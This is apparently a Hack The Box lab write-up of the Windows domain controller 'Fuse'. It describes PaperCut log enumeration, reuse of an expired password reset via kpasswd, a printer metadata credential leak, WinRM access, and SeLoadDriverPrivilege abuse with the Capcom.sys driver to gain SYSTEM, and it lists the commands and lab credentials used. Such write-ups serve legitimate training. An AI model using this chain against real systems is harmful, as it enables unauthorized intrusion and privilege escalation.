← Zurück zu Machines

HTB · published

Fuse

HTB Machine Writeup zu Fuse mit PaperCut-Enumeration, Credential Reuse und Windows Privilege Escalation.

HTBMachineWriteupWindowsActive DirectoryPaperCutPrinterPrivilege Escalation

Metadaten

  • Name: Fuse
  • Plattform: Windows
  • Kategorie: HTB Machine
  • Schwierigkeit: Medium
  • Ziel(e): User, Root/Administrator
  • Kurzbeschreibung des Szenarios: HTB Machine Writeup zu Fuse mit PaperCut-Enumeration, Credential Reuse und Windows Privilege Escalation.

Executive Summary

The target was a Windows Server 2016 Active Directory domain controller named Fuse.fabricorp.local. The attack path chained exposed PaperCut Print Logger data, password reuse/expired password handling, printer metadata credential disclosure, WinRM access as a print service account, and SeLoadDriverPrivilege abuse to gain SYSTEM and retrieve both flags.

Scope

Single Hack The Box target: 10.129.2.5.

Methodology

Reconnaissance -> Web/AD Enumeration -> Credential Discovery -> Initial Access -> Privilege Escalation -> Flag Capture.

Enumeration

Initial ICMP returned TTL 127, suggesting Windows. Full TCP scan identified AD/DC services:

nmap -p- --min-rate 5000 -Pn -oA scans/nmap_full_tcp 10.129.2.5
nmap -sCV -O -Pn -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49675,49676,49680,49698,49751 -oA scans/nmap_services 10.129.2.5

Key ports: DNS 53, HTTP 80, Kerberos 88, LDAP 389/636/3268/3269, SMB 445, WinRM 5985, ADWS 9389.

SMB/LDAP confirmed:

  • Hostname: Fuse
  • Domain: fabricorp.local
  • OS: Windows Server 2016 Standard 14393
  • SMB signing required

HTTP redirected to:

http://fuse.fabricorp.local/papercut/logs/html/index.htm

The PaperCut Print Logger pages exposed print logs and usernames:

  • pmerton
  • tlavel
  • sthompson
  • bhult
  • administrator
  • bnielson from document text New Starter - bnielson - Notepad

Interesting document names included Fabricorp01.docx, backup_tapes, and offsite_dr_invocation.

Initial Access

The string Fabricorp01 was tested against the small username set recovered from PaperCut. SMB returned NT_STATUS_PASSWORD_MUST_CHANGE for several users, proving the password was valid but expired.

The Kerberos password-change service on TCP 464 allowed changing one expired account password:

KRB5_CONFIG=recon/krb5.conf kpasswd tlavel@FABRICORP.LOCAL

Authenticated LDAP with tlavel showed:

  • IT_Accounts contains sthompson and svc-print
  • IT_Accounts is a member of Remote Management Users
  • svc-print is also in Print Operators

Printer RPC metadata leaked a password in the printer description:

Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)

The leaked password was valid for svc-print and svc-scan. svc-print had WinRM access:

evil-winrm -i 10.129.2.5 -u svc-print -p '$fab@s3Rv1ce$1'

User Flag

As fabricorp\svc-print, the user flag was readable at:

C:\Users\svc-print\Desktop\user.txt

Captured flag:

66651[REDACTED-USER-FLAG]c1be

Privilege Escalation

whoami /all showed svc-print had a dangerous privilege:

SeLoadDriverPrivilege     Load and unload device drivers     Enabled

This was granted through BUILTIN\Print Operators. The privilege was abused to load the vulnerable signed driver Capcom.sys and exploit it for kernel token stealing.

Artifacts used:

  • Capcom.sys
  • patched EoPLoadDriver.exe
  • patched ExploitCapcom_rootcopy.exe

The loader required MinGW fixes:

  • use wide-string-safe formatting
  • compile with -DUNICODE -D_UNICODE

Commands executed on target:

mkdir C:\Priv
cd C:\Priv
.\EoPLoadDriver.exe System\CurrentControlSet\Services\Capcom C:\Priv\Capcom.sys
.\ExploitCapcom_rootcopy.exe
type C:\Users\svc-print\Documents\root.txt

The exploit successfully opened \\.\Htsysm72FB, executed shellcode, stole a SYSTEM token, and copied the administrator flag into a readable location.

Root Flag

Captured flag:

0a6f8[REDACTED-ROOT-FLAG]38f7

Alternative Paths

Possible alternatives include:

  • Using svc-print Print Operator rights with another vulnerable driver technique.
  • Attempting direct service abuse if a SYSTEM service with weak ACLs existed.
  • Further AD abuse if sthompson credentials were recovered, since sthompson is a Domain Admin.

Key Learnings

  • Exposed PaperCut logs can disclose usernames and password naming conventions.
  • PASSWORD_MUST_CHANGE is still useful: Kerberos kpasswd can convert expired known credentials into usable access.
  • Printer descriptions and metadata should be treated as sensitive; they may leak service credentials.
  • SeLoadDriverPrivilege is high-risk, especially when a user can load vulnerable signed drivers.
  • Print Operators on a DC can become SYSTEM through driver-loading abuse.

Tools Used

nmap, curl, whatweb, feroxbuster, smbclient, rpcclient, ldapsearch, kpasswd, evil-winrm, mingw-w64, git.

Timeline

See timeline.txt for chronological notes.

Appendix: Commands Used

ping -c 2 -W 2 10.129.2.5
nmap -p- --min-rate 5000 -Pn -oA scans/nmap_full_tcp 10.129.2.5
nmap -sCV -O -Pn -p <ports> -oA scans/nmap_services 10.129.2.5
whatweb -a 3 http://10.129.2.5
curl -i http://fuse.fabricorp.local/papercut/logs/html/index.htm
smbclient -L //10.129.2.5 -N
rpcclient -U 'FABRICORP\\tlavel%Password2!' 10.129.2.5 -c 'enumprinters; enumdrivers; enumports'
ldapsearch -x -H ldap://10.129.2.5 -D 'tlavel@fabricorp.local' -w 'Password2!' -b 'DC=fabricorp,DC=local' '(objectClass=group)' cn member
evil-winrm -i 10.129.2.5 -u svc-print -p '$fab@s3Rv1ce$1'